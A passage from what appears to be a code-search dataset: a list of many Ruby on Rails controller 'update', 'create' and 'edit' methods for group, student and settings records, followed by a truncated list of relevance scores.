"def update\n respond_to do |format|\n if @s_group.update(s_group_params)\n #format.html { redirect_to @s_group, notice: 'S group was successfully updated.' }\n format.html { redirect_to '/s_groups' }\n format.json { render :show, status: :ok, location: @s_group }\n else\n format.html { render :edit }\n format.json { render json: @s_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @provider_group = ProviderGroup.find(params[:id])\n\n respond_to do |format|\n if @provider_group.update_attributes(params[:provider_group])\n flash[:notice] = 'ProviderGroup was successfully updated.'\n format.html { redirect_to(@provider_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @provider_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student_group_rule = StudentGroupRule.find(params[:id])\n\n respond_to do |format|\n if @student_group_rule.update_attributes(params[:student_group_rule])\n format.html { redirect_to(@student_group_rule, :notice => 'StudentGroupRule was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student_group_rule.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n \n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(admin_groups_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t@student_group_setting = StudentGroupSetting.new(params[:student_group_setting])\n\n\trespond_to do |format|\n\t if @student_group_setting.save\n\t\t#format.html { redirect_to(@student_group_setting, :notice => 'Student group setting was successfully created.') }\n\t\tformat.html { redirect_to(:controller=>:student_groups, :action=>'show', :id=>@student_group_setting.student_group_id, :notice => 'Student group setting was successfully created.') }\n\t\tformat.xml { render :xml => @student_group_setting, :status => :created, :location => @student_group_setting }\n\t else\n\t\tformat.html { render :action => \"new\" }\n\t\tformat.xml { render :xml => @student_group_setting.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end",
"def update\n @attribute_group = AttributeGroup.find(params[:id])\n\n respond_to do |format|\n if @attribute_group.update_attributes(params[:attribute_group])\n format.html { redirect_to(@attribute_group, :notice => 'Attribute group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attribute_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n \n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n \n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to(@group, :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_group_student\n @group_student = GroupStudent.find(params[:id])\n end",
"def update\n @global_config = GroupConfig.get(params[:id])\n GroupConfig.update(@global_config, params)\n\n respond_to do |format|\n format.html { redirect_to @global_config, notice: 'Global config was successfully updated.' }\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @security_group.update(security_group_params)\n format.html { redirect_to @security_group, notice: 'Security group was successfully updated.' }\n format.json { render :show, status: :ok, location: @security_group }\n else\n format.html { render :edit }\n format.json { render json: @security_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to( view_group_path(@group.label), :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @esol_group = EsolGroup.find(params[:id])\n\n respond_to do |format|\n if @esol_group.update_attributes(params[:esol_group])\n format.html { redirect_to @esol_group, notice: 'Esol group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @esol_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_group = UserGroup.find(params[:id])\n\n respond_to do |format|\n if @user_group.update_attributes(params[:user_group])\n flash[:notice] = \"User group <em>#{@user_group.name}</em> updated.\"\n format.html { redirect_to(@user_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n\t@student_group_setting = StudentGroupSetting.find(params[:id])\n\n\trespond_to do |format|\n\t format.html # show.html.erb\n\t format.xml { render :xml => @student_group_setting }\n\tend\n end",
"def set_student\n @student = @group.students.find(params[:id])\n end",
"def update\n @group = WorkGroup.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @studentset = Studentset.find(params[:id])\n\n respond_to do |format|\n if @studentset.update_attributes(params[:studentset])\n format.html { redirect_to @studentset, notice: 'Studentset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @studentset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expensegroup = Expensegroup.find(params[:id])\n\n respond_to do |format|\n if @expensegroup.update_attributes(params[:expensegroup])\n flash[:notice] = 'Expensegroup was successfully updated.'\n format.html { redirect_to(@expensegroup) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expensegroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @record_group = RecordGroup.find(params[:id])\n @record_group.accessible = :all if admin?\n respond_to do |format|\n if @record_group.update_attributes(params[:record_group])\n flash[:notice] = 'RecordGroup was successfully updated.'\n format.html { redirect_to(@record_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @record_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sales_group.update(sales_group_params)\n format.html { redirect_to @sales_group, notice: 'Sales group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sales_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = SuperSimpleCms::Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to super_simple_group_path(@group) } \n format.js { redirect_to formatted_super_simple_group_path(@group, :js) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.js { render :action => \"new\", :layout=>false}\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @registrant_group.update_attributes(registrant_group_params)\n format.html { redirect_to @registrant_group, notice: 'Registrant group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @registrant_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @register_group = RegisterGroup.find(params[:id])\n\n respond_to do |format|\n if @register_group.update_attributes(params[:register_group])\n format.html { redirect_to @register_group, notice: 'Register group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @register_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to groups_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = '{object} was successfully {action}.'[:object_action_notice, \"Group\"[], \"updated\"[]]\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @personal_group = current_user.personal_groups.find(params[:id])\n params[:personal_group][:student_ids] ||= []\n\n respond_to do |format|\n if @personal_group.update_attributes(params[:personal_group])\n flash[:notice] = \"The students in the #{@personal_group.name} group have been updated. If you've changed students and want to work with all students in this group you will need to go back to the student search screen and select the group and select the students on the next screen.\"\n format.html { redirect_to(personal_groups_url) }\n else\n @students = Student.find_all_by_id(selected_student_ids.collect(&:to_i) | @personal_group.student_ids)\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def update\n @routinetoobjectgroup = Routinetoobjectgroup.find(params[:id])\n\n respond_to do |format|\n if @routinetoobjectgroup.update_attributes(params[:routinetoobjectgroup])\n flash[:notice] = 'Routinetoobjectgroup was successfully updated.'\n format.html { redirect_to(@routinetoobjectgroup) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @routinetoobjectgroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @registrant_group.update_attributes(registrant_group_params)\n format.html { redirect_to @registrant_group, notice: 'Registrant group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @registrant_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find_by_param(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to(@group, :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = current_user.students.find(params[:id])\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student record is successfully updated.'\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group_stat = GroupStat.find(params[:id])\n\n respond_to do |format|\n if @group_stat.update_attributes(params[:group_stat])\n format.html { redirect_to @group_stat, notice: 'Group stat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group_stat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @outgoing_sms_content_group = OutgoingSmsContentGroup.find(params[:id])\n\n respond_to do |format|\n if @outgoing_sms_content_group.update_attributes(params[:outgoing_sms_content_group])\n flash[:notice] = 'OutgoingSmsContentGroup was successfully updated.'\n format.html { redirect_to(@outgoing_sms_content_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @outgoing_sms_content_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @small_group.update(small_group_params)\n format.html { redirect_to @small_group, notice: 'Small group was successfully updated.' }\n format.json { render :show, status: :ok, location: @small_group }\n else\n format.html { render :edit }\n format.json { render json: @small_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @account_group_type = user_default_branch.account_group_types.find(params[:id])\n\n respond_to do |format|\n if @account_group_type.update_attributes(params[:account_group_type])\n flash[:notice] = 'AccountGroupType was successfully updated.'\n format.html { redirect_to(@account_group_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account_group_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @radio_group = RadioGroup.find(params[:id])\n\n respond_to do |format|\n if @radio_group.update_attributes(params[:radio_group])\n format.html { redirect_to(@radio_group, :notice => 'Radio group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @radio_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @semifinalgroup.update(semifinalgroup_params)\n format.html { redirect_to edit_semifinalgroup_path, notice: 'Semifinalgroup was successfully updated.' }\n format.json { render :show, status: :ok, location: @semifinalgroup }\n else\n format.html { render :edit }\n format.json { render json: @semifinalgroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @global_account_setting = GlobalAccountSetting.find(params[:id])\n\n respond_to do |format|\n if @global_account_setting.update_attributes(params[:global_account_setting])\n format.html { redirect_to(@global_account_setting, :notice => 'Global account setting was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @global_account_setting.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n\n key = params[\"setting\"][\"key\"]\n value = params[\"setting\"][\"value\"]\n @setting.key = key\n @setting.value = value\n @setting.location = params[\"setting\"][\"location\"]\n if @setting.save!\n\n format.html { redirect_to edit_system_node_path(@setting.system_node_id), notice: 'Setting was successfully updated.' }\n format.json { render :show, status: :ok, location: @setting }\n else\n format.html { render :edit }\n format.json { render json: @setting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to((current_user and current_user.is_site_admin? and current_user != @group.users.owners.first) ? by_user_groups_path(:user_id => @group.users.owners.first.id) : groups_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @sitegroup = Sitegroup.access(current_user).find(params[:id])\n\n respond_to do |format|\n if @sitegroup.update_attributes(params[:sitegroup])\n format.html { redirect_to(@sitegroup, :notice => 'Sitegroup was successfully updated.') }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n else\n format.html { @sites = @sitegroup.sites.paginate :page => params[:page]; render :action => \"edit\" }\n format.xml { render :xml => @sitegroup.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @sitegroup.errors, :status => :unprocessable_entity }\n format.json { render :json => @sitegroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:success] = t('student.updated')\n format.html { redirect_to(students_path) }\n format.xml { head :ok }\n else\n flash[:error] = t('default_error_message')\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def flag_xms_system_to_be_normal \n put(\"/globalsettings.json/xms/normal\")\nend",
"def update\n @asistence = Asistence.find(params[:id])\n @group = @asistence.group\n\n respond_to do |format|\n if @asistence.update_attributes(params[:asistence])\n format.html { redirect_to @group, :notice => 'Asistence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asistence.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group_user = @parent.find(params[:id]) #get the record\n\n respond_to do |format|\n if @group_user.update_attributes(params[:group_user])\n format.html { redirect_to(@group, :notice => 'Group user was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group_user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @target_group = TargetGroup.find(params[:id])\n\n respond_to do |format|\n if @target_group.update_attributes(params[:target_group])\n flash[:notice] = 'TargetGroup was successfully updated.'\n format.html { redirect_to([:admin, @target_group]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @target_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group_of_task = GroupOfTask.find(params[:id])\n\n respond_to do |format|\n if @group_of_task.update_attributes(params[:group_of_task])\n flash[:notice] = 'GroupOfTask was successfully updated.'\n format.html { redirect_to(@group_of_task) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group_of_task.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @add_to_group = AddToGroup.find(params[:id])\n\n respond_to do |format|\n if @add_to_group.update_attributes(params[:add_to_group])\n format.html { redirect_to(@add_to_group, :notice => 'Add to group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @add_to_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n authorize @group, :update?\n respond_to do |format|\n if @group.update_attributes(permitted_params)\n format.html { redirect_to(@group, :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @transaction_group = TransactionGroup.find(params[:id])\n\n respond_to do |format|\n if @transaction_group.update_attributes(params[:transaction_group])\n flash[:notice] = 'TransactionGroup was successfully updated.'\n format.html { redirect_to(@transaction_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @microsites_group.update(microsites_group_params)\n format.html { redirect_to @microsites_group, notice: 'Microsites group was successfully updated.' }\n format.json { render :show, status: :ok, location: @microsites_group }\n else\n format.html { render :edit }\n format.json { render json: @microsites_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_profile = StudentProfile.find(params[:id])\n\n respond_to do |format|\n if @student_profile.update_attributes(params[:student_profile])\n format.html { redirect_to(@student_profile, :notice => 'Student profile was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student_profile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Группа обновлена!' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @systemuser = Systemuser.find(params[:id])\n\n if params[:systemuser][:group_id] == 4\n @systemuser.ro = 1\n else\n @systemuser.ro = 0\n end\n\n respond_to do |format|\n if @systemuser.update_attributes(params[:systemuser])\n format.html { redirect_to systemusers_path, notice: 'Wizard user was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @systemuser.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n @student.registration_year = AdminController::SchoolYear\n @other_user = get_other_user(session[:other_user_id]) # find the user for the edited contact\n\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n # if @student.save\n flash[:notice] = 'Student was successfully registered/updated.'\n format.html { redirect_to(@other_user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if ((params.has_key?(:group_size)) && (not params[:group_size].empty?))\n update_max_group_size(params[:group_size])\n end\n if ((params.has_key?(:group_reader)) && (not params[:group_reader].empty?))\n update_group_readers(params[:group_reader])\n end\n redirect_to admin_path\n end",
"def update_settings\n end",
"def update\n @group = Group.find(params[:id])\n\n if @group.update_attributes(params[:group])\n flash[:notice] = t('flash_msg47')\n @groups = Group.all\n # format.html { redirect_to(@group) }\n # format.xml { head :ok }\n else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end",
"def update\n @ss_type = SsType.find(params[:id])\n\n respond_to do |format|\n if @ss_type.update_attributes(params[:ss_type])\n format.html { redirect_to(@ss_type, :notice => 'Ss type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ss_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @study_group.update(study_group_params)\n #format.html { redirect_to @study_group, notice: 'Study group was successfully updated.' }\n format.html { redirect_to @study_group}\n format.json { render :show, status: :ok, location: @study_group }\n else\n format.html { render :edit }\n format.json { render json: @study_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @supergroup.update(supergroup_params)\n format.html { redirect_to @supergroup, notice: \"#{supergroup.titlecase} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @supergroup }\n else\n format.html { render :edit }\n format.json { render json: @supergroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rsgroup_config(groupName)\n @admin.updateConfiguration(groupName)\n end",
"def update\n @laboratory_test_group = LaboratoryTestGroup.find(params[:id])\n\n respond_to do |format|\n if @laboratory_test_group.update_attributes(params[:laboratory_test_group])\n flash[:notice] = 'LaboratoryTestGroup was successfully updated.'\n format.html { redirect_to admin_masters_laboratory_test_groups_path}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @laboratory_test_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @lab_group = LabGroup.find(params[:id])\n\n respond_to do |format|\n if @lab_group.update_attributes(params[:lab_group])\n flash[:notice] = 'LabGroup was successfully updated.'\n format.html { redirect_to(@lab_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lab_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @contact_group = ContactGroup.find(params[:id])\n\n respond_to do |format|\n if @contact_group.update_attributes(params[:contact_group])\n format.html { redirect_to(@contact_group, :notice => 'Contact group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @contact_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @studygroup.update(studygroup_params)\n format.html { redirect_to studygroups_path, notice: 'Studygroup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @studygroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @targetgroup = Targetgroup.find(params[:id])\n\n respond_to do |format|\n if @targetgroup.update_attributes(params[:targetgroup])\n flash[:notice] = 'Targetgroup was successfully updated.'\n format.html { redirect_to(@targetgroup) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @targetgroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_settings(settings)\n request :put, \"_settings\", nil, settings\n end",
"def update_settings(settings)\n request :put, \"_settings\", nil, settings\n end",
"def update\n respond_to do |format|\n if @os_groups_membership.update(os_groups_membership_params)\n format.html { redirect_to @os_groups_membership, notice: 'Os groups membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @os_groups_membership }\n else\n format.html { render :edit }\n format.json { render json: @os_groups_membership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_student_defaulter_setting\n @student_defaulter_setting = StudentDefaulterSetting.find(params[:id])\n end",
"def update\n @outgoing_sms_number_group = OutgoingSmsNumberGroup.find(params[:id])\n\n respond_to do |format|\n if @outgoing_sms_number_group.update_attributes(params[:outgoing_sms_number_group])\n flash[:notice] = 'OutgoingSmsNumberGroup was successfully updated.'\n format.html { redirect_to(@outgoing_sms_number_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @outgoing_sms_number_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @objectgrouptoobjectgroup = Objectgrouptoobjectgroup.find(params[:id])\n\n respond_to do |format|\n if @objectgrouptoobjectgroup.update_attributes(params[:objectgrouptoobjectgroup])\n flash[:notice] = 'Objectgrouptoobjectgroup was successfully updated.'\n format.html { redirect_to(@objectgrouptoobjectgroup) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @objectgrouptoobjectgroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit\n respond_to do |format|\n format.html\n format.xml { render :xml => @group_user.to_xml }\n end\n end",
"def update\n @student = current_user.teacher.students.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n StdTeacher.where(\"idStd = ? AND idTeacher = ?\", @student.id, current_user.teacher.id).update_all(idGroup: @student.idGroup)\n format.html { redirect_to students_path, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @request_group.update(request_group_params)\n format.html { redirect_to @request_group, \n\t\t\t\t\t\t\t\t\t\t\tnotice: 'Request group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_group.errors, \n\t\t\t\t\t\t\t\t\t\t\tstatus: :unprocessable_entity }\n end\n end\n end",
"def edit\n respond_to do |format|\n format.html\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def edit\n respond_to do |format|\n format.html\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def update\n @concept_group = ConceptGroup.find(params[:id])\n\n respond_to do |format|\n if @concept_group.update_attributes(params[:concept_group])\n format.html { redirect_to @concept_group, notice: 'Concept group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concept_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @agent_group = AgentGroup.find(params[:id])\n\n respond_to do |format|\n if @agent_group.update_attributes(params[:agent_group])\n format.html { redirect_to @agent_group, notice: 'Agent group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agent_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @special_groups_user = SpecialGroupsUser.find(params[:id])\n\n respond_to do |format|\n if @special_groups_user.update_attributes(params[:special_groups_user])\n format.html { redirect_to(special_groups_users_path, :notice => 'Special groups user was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @special_groups_user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update\n respond_to do |format|\n if @signupsurvey.update(signupsurvey_params)\n format.html { redirect_to @signupsurvey.group, notice: 'Signupsurvey was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @signupsurvey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_group = UserGroup.find(params[:id])\n\n respond_to do |format|\n if @user_group.update_attributes(params[:user_group])\n format.html { redirect_to @user_group, notice: 'User group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_group.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6018553",
"0.5923228",
"0.59119713",
"0.59029746",
"0.5900254",
"0.58929706",
"0.5879618",
"0.58644897",
"0.5845104",
"0.58341527",
"0.5811968",
"0.57838553",
"0.57675207",
"0.5748059",
"0.57362264",
"0.57346135",
"0.57346135",
"0.5723251",
"0.57226676",
"0.5722504",
"0.5722504",
"0.5722504",
"0.5722504",
"0.5722504",
"0.5722504",
"0.57187074",
"0.5695002",
"0.5683853",
